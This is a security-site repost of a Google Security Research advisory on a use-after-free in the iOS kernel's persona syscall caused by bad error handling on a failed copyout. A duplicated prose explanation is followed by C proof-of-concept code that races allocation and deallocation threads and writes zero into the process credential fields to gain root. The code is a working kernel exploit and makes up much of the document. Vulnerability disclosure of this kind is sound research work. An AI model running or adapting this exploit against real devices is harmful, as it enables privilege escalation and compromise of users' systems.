首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple iOS Kernel - Use-After-Free due to bad Error Handling in Personas
来源:Google Security Research 作者:Google 发布时间:2018-10-23  
/*
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:
 
 In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
 
  error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
  if (error)
    goto out_error;
 
This jumps here:
  if (persona)
    persona_put(persona);
 
At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.
 
The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.
 
It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
 
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
 
It should be easy to fix up this PoC to run as root in your testing environment.
*/
 
// @i41nbeer
 
#include "test_next_exploit.h"
#include <unistd.h>
#include <pthread.h>
#include <string.h>
 
#include "kmem.h"
 
 
/*
iOS kernel UaF due to bad error handling in personas
 
There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:
 
 In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:
 
  error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));
  if (error)
    goto out_error;
 
This jumps here:
  if (persona)
    persona_put(persona);
 
At this point the persona is actually in the global list and the reference has been transfered there; this code
is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.
 
The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),
causing an extra call to persona_put.
 
It's probably possible to make the failing copyout take a long time,
allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.
 
This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln
is still there, but I cannot test it.
 
It should be easy to fix up this PoC to run as root in your testing environment.
*/
 
 
 
#define NGROUPS 16
#define MAXLOGNAME 255
 
struct kpersona_info {
  uint32_t persona_info_version;
  
  uid_t    persona_id; /* overlaps with UID */
  int      persona_type;
  gid_t    persona_gid;
  uint32_t persona_ngroups;
  gid_t    persona_groups[NGROUPS];
  uid_t    persona_gmuid;
  char     persona_name[MAXLOGNAME+1];
  
  /* TODO: MAC policies?! */
};
 
enum {
  PERSONA_INVALID = 0,
  PERSONA_GUEST   = 1,
  PERSONA_MANAGED = 2,
  PERSONA_PRIV    = 3,
  PERSONA_SYSTEM  = 4,
  
  PERSONA_TYPE_MAX = PERSONA_SYSTEM,
};
 
#define PERSONA_OP_ALLOC    1
#define PERSONA_OP_DEALLOC  2
#define PERSONA_OP_GET      3
#define PERSONA_OP_INFO     4
#define PERSONA_OP_PIDINFO  5
#define PERSONA_OP_FIND     6
 
#define PERSONA_INFO_V1       1
 
#define PERSONA_SYSCALL_NUMBER 494
int sys_persona(uint32_t operation, uint32_t flags, struct kpersona_info *info, uid_t *id, size_t *idlen) {
  return syscall(PERSONA_SYSCALL_NUMBER, operation, flags, info, id, idlen);
}
 
void persona_dealloc() {
  uid_t uid = 235;
  size_t uid_size = sizeof(uid);
  int perr = sys_persona(PERSONA_OP_DEALLOC, 0, NULL, &uid, &uid_size);
  printf("dealloc perr: 0x%x\n", perr);
}
 
void* persona_bad_alloc() {
  // let's try to alloc a persona:
  struct kpersona_info info = {0};
  uid_t kpersona_uid = -123;
  size_t kpersona_uid_size = sizeof(kpersona_uid);
  
  info.persona_info_version = PERSONA_INFO_V1;
  strcpy(info.persona_name, "a_name2");
  
  info.persona_id = 235;
  info.persona_type = PERSONA_GUEST;
  
  int perr = sys_persona(PERSONA_OP_ALLOC, 0, &info, NULL/*&kpersona_uid*/, &kpersona_uid_size);
  printf("err: %x\n", perr);
  printf("kpersona_uid: %d\n", kpersona_uid);
  
  return NULL;
}
 
void* dealloc_thread_func(void* arg) {
  int uid = getuid();
  printf("dealloc thread uid: %d\n", uid);
  // got r00t?
  while(1) {
    persona_dealloc();
  }
}
 
void* alloc_thread_func(void* arg) {
  int uid = getuid();
  printf("alloc_thread uid: %d\n", uid);
  // got r00t?
  while(1) {
    persona_bad_alloc();
  }
}
 
void go(uint64_t thread_t) {
  uint64_t bsd_thread_info = rk64(thread_t + 0x388);
  uint64_t cred_t = rk64(bsd_thread_info + 0x160);
  
  // uid:=0
  wk32(cred_t+0x18, 0);
  wk32(cred_t+0x1c, 0);
  
  pthread_t dealloc_thread;
  pthread_create(&dealloc_thread, NULL, dealloc_thread_func, NULL);
  
  pthread_t alloc_thread;
  pthread_create(&alloc_thread, NULL, alloc_thread_func, NULL);
  
  pthread_join(dealloc_thread, NULL);
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple iOS/macOS - Kernel Memor
·Adult Filter 1.0 - Denial of S
·Apple Intel GPU Driver - Use-A
·exim 4.90 - Remote Code Execut
·AudaCity 2.3 - Denial of Servi
·Apache OFBiz 16.11.04 - XML Ex
·Microsoft Windows 10 UAC Bypas
·WebEx Local Service Permission
·Modbus Poll 7.2.2 - Denial of
·WebExec Authenticated User Cod
·Microsoft Windows SetImeInfoEx
·BORGChat 1.0.0 build 438 - Den
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved